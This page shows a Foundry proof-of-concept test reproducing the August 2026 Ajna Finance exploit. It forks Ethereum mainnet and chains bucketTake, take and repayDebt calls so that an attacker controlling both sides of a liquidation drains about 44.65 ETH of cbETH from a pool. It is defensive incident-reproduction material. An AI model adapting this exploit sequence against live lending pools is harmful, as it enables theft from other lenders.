Public reproduction file
src/test/2026-08/AjnaFinance_exp.sol
Public reproduction file for dataset entry AjnaFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Ajna Finance — Ethereum mainnet — self-controlled-liquidation drain via bucketTake/take accounting.8//9// ~$775K total across 7 Ajna ERC20 pools in one campaign the same day (syrupUSDC $173.7K,10// wstETH $159.8K, rETH $127.4K + $15.6K, cbETH $124.8K + $12.1K, WBTC $101.8K, WETH/USDC $42.0K,11// sDAI $18.0K). Same bug class every pool, so reproducing the cbETH instance is enough.12//13// Sample tx : 0x12dfde527ef62882bfabb64362c9ae0e6bfb628363bd298d0d0956c9a114e4f5 (block 25854888)14// Attacker EOA: 0x6F2f5236b10FE7162Da077A2779f8b5f04b7827e15// Victim pool : 0xad24FC773e125Edb223C38a39657cB64bc7C178e (Ajna ERC20Pool, cbETH/WETH;16// logic impl ERC20Pool 0x05bB4F6362B02F17C1A3F2B047A8b23368269A21)17// collateral: cbETH 0xBe9895146f7AF43049ca1c1AE358B0541Ea4970418// quote : WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc219// Attacker-controlled borrower position : 0x02D329Ebb1DA079A89988366b777aF300DB96F5f20//21// Root cause (verified against the on-chain trace and Ajna's verified ERC20Pool source, NOT a22// key/signer/admin path): Ajna is permissionless and oracle-free by design — auction and bucket23// prices come only from the pool's own internal state, with no external feed to contradict them.24// An attacker who controls BOTH sides of a liquidation (its own over-leveraged borrower AND the25// taker/lender liquidating it) shapes the internal prices those sides interact at and walks out26// with more collateral value than the quote it pays in. That loss lands on the pool's other27// lenders. bucketTake, take, removeCollateral and repayDebt are all plain permissionless public28// functions; the `validate(...)` staticcall to 0x5508… seen in the trace is the attacker29// contract's OWN tx.origin auth check, not an Ajna-side gate.30//31// Standing state at the fork (established by the attacker's earlier setup txs, present at block-1):32// borrower 0x02D329 sits in an active Dutch-auction liquidation (debt 49.36 WETH, collateral 48.1333// cbETH), and Fenwick bucket 2000 holds ~49.34 WETH of the attacker's own deposit.34//35// This PoC reconstructs the drain as ordinary typed Ajna calls (no bytecode blob, no raw calldata36// replay of the original 0xf1cd0d25 payload, no redeploy of the attacker contract 0x80AD…):37// 1. Taker.bucketTake(borrower, false, 2000): consume the bucket's quote deposit to repay most of38// the borrower's debt at the manipulated bucket price and award the taker bucket LP39// (debt 49.36 -> 3.47 WETH), then removeCollateral(max, 2000) pulls the awarded cbETH out.40// 2. take(borrower, max, taker, ""): clear the residual 3.47 WETH of debt, settling the auction.41// 3. As the attacker-controlled borrower, repayDebt(borrower, 0, collateral, taker, idx): pull the42// now-freed ~46.5 cbETH of collateral straight out to the taker.43// Net: the taker ends holding ~48.13 cbETH for ~3.47 WETH paid — ~44.65 ETH-equivalent (~$124.8K).44// The on-chain tx realized the same value split differently (~43.75 cbETH + ~1.5 WETH net) because45// it funded its take through a Balancer flash loan plus a cbETH->WETH swap; that financing is46// economically neutral, so this PoC takes the simpler cash-funded path and asserts the same net47// value. The attacker-controlled borrower side is driven via a prank of its standing position,48// modeling the "attacker controls both sides" structure without replaying any hardcoded calldata.49//50// forge test --contracts src/test/2026-08/AjnaFinance_exp.sol -vvv52interface IAjnaPool {53 function bucketTake(54 address borrower,55 bool depositTake,56 uint256 index57 ) external;58 function removeCollateral(59 uint256 maxAmount,60 uint256 index61 ) external returns (uint256, uint256);62 function take(63 address borrower,64 uint256 maxAmount,65 address callee,66 bytes calldata data67 ) external;68 function repayDebt(69 address borrower,70 uint256 maxQuoteTokenAmountToRepay,71 uint256 collateralAmountToPull,72 address collateralReceiver,73 uint256 limitIndex74 ) external;75 function borrowerInfo(76 address borrower77 ) external view returns (uint256 debt, uint256 collateral, uint256 t0Np);78 function auctionInfo(79 address borrower80 )81 external82 view83 returns (address, uint256, uint256, uint256 kickTime, uint256, uint256, address, address, address, bool);84}86// The liquidating side: a named taker/lender contract making real Ajna calls.87contract AjnaTaker {88 IAjnaPool internal constant POOL = IAjnaPool(0xad24FC773e125Edb223C38a39657cB64bc7C178e);89 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;90 uint256 internal constant BUCKET = 2000;92 // Consume bucket 2000's quote deposit to repay most of the borrower's debt at the manipulated93 // bucket price, award ourselves the bucket LP, and pull the collateral out.94 function bucketTakeLeg(95 address borrower96 ) external {97 IERC20(WETH).approve(address(POOL), type(uint256).max);98 POOL.bucketTake(borrower, false, BUCKET);99 POOL.removeCollateral(type(uint256).max, BUCKET);100 }102 // Clear the residual debt with a plain take, settling the auction so the collateral can be freed.103 function settleLeg(104 address borrower105 ) external {106 POOL.take(borrower, type(uint256).max, address(this), "");107 }108}110contract AjnaFinance_exp is BaseTestWithBalanceLog {111 IAjnaPool internal constant POOL = IAjnaPool(0xad24FC773e125Edb223C38a39657cB64bc7C178e);112 IERC20 internal constant cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);113 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);114 address internal constant BORROWER = 0x02D329Ebb1DA079A89988366b777aF300DB96F5f; // attacker-controlled115 uint256 internal constant BUCKET = 2000;117 uint256 internal constant FORK_BLOCK = 25_854_887; // parent of the exploit block 25854888119 function setUp() public {120 vm.createSelectFork("mainnet", FORK_BLOCK);121 vm.label(address(POOL), "AjnaCbethPool");122 vm.label(BORROWER, "AttackerBorrower");123 vm.label(address(cbETH), "cbETH");124 vm.label(address(WETH), "WETH");125 }127 function testExploit() public {128 AjnaTaker taker = new AjnaTaker();129 // Working capital for the residual-debt take (the on-chain attacker flash-loaned it).130 deal(address(WETH), address(taker), 100 ether);132 // 1. bucketTake + removeCollateral: repays most of the debt, pulls the first cbETH slice.133 taker.bucketTakeLeg(BORROWER);134 // 2. take: clears the residual debt and settles the auction.135 taker.settleLeg(BORROWER);137 // 3. The attacker-controlled borrower pulls its now-freed collateral out to the taker.138 (, uint256 freedCollateral,) = POOL.borrowerInfo(BORROWER);139 (,,, uint256 kickTime,,,,,,) = POOL.auctionInfo(BORROWER);140 assertEq(kickTime, 0, "auction not settled before pulling collateral");141 vm.prank(BORROWER);142 POOL.repayDebt(BORROWER, 0, freedCollateral, address(taker), 7388);144 uint256 cbEthGain = cbETH.balanceOf(address(taker));145 uint256 wethSpent = 100 ether - WETH.balanceOf(address(taker));146 emit log_named_decimal_uint("taker cbETH gained", cbEthGain, 18);147 emit log_named_decimal_uint("taker WETH spent", wethSpent, 18);149 // Net extracted value, in ETH terms (cbETH ~ WETH ~ ETH). Reported ~$124.8K for this pool.150 uint256 netEth = cbEthGain - wethSpent;151 emit log_named_decimal_uint("net ETH-equivalent drained", netEth, 18);153 assertGe(cbEthGain, 43.75 ether, "expected >= the reported ~43.75 cbETH collateral seized");154 assertApproxEqAbs(netEth, 44.65 ether, 2 ether, "net drain off the reported ~$124.8K");155 }156}Analysis
Dataset entry
Public Foundry test for “AjnaFinance” (2026-08-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6f2f5236b10fe7162da077a2779f8b5f04b7827e
- Victim
0xad24fc773e125edb223c38a39657cb64bc7c178e
- Attacker
0x02d329ebb1da079a89988366b777af300db96f5f
File record
- Name
- AjnaFinance
- Path
- src/test/2026-08/AjnaFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d78692d97b43ef41f685a49631c76646e6a55d9f
- Language
- Solidity
- Size
- 157 lines
- Date
- 2026-08-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/AjnaFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d78692d97b43ef41f685a49631c76646e6a55d9f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.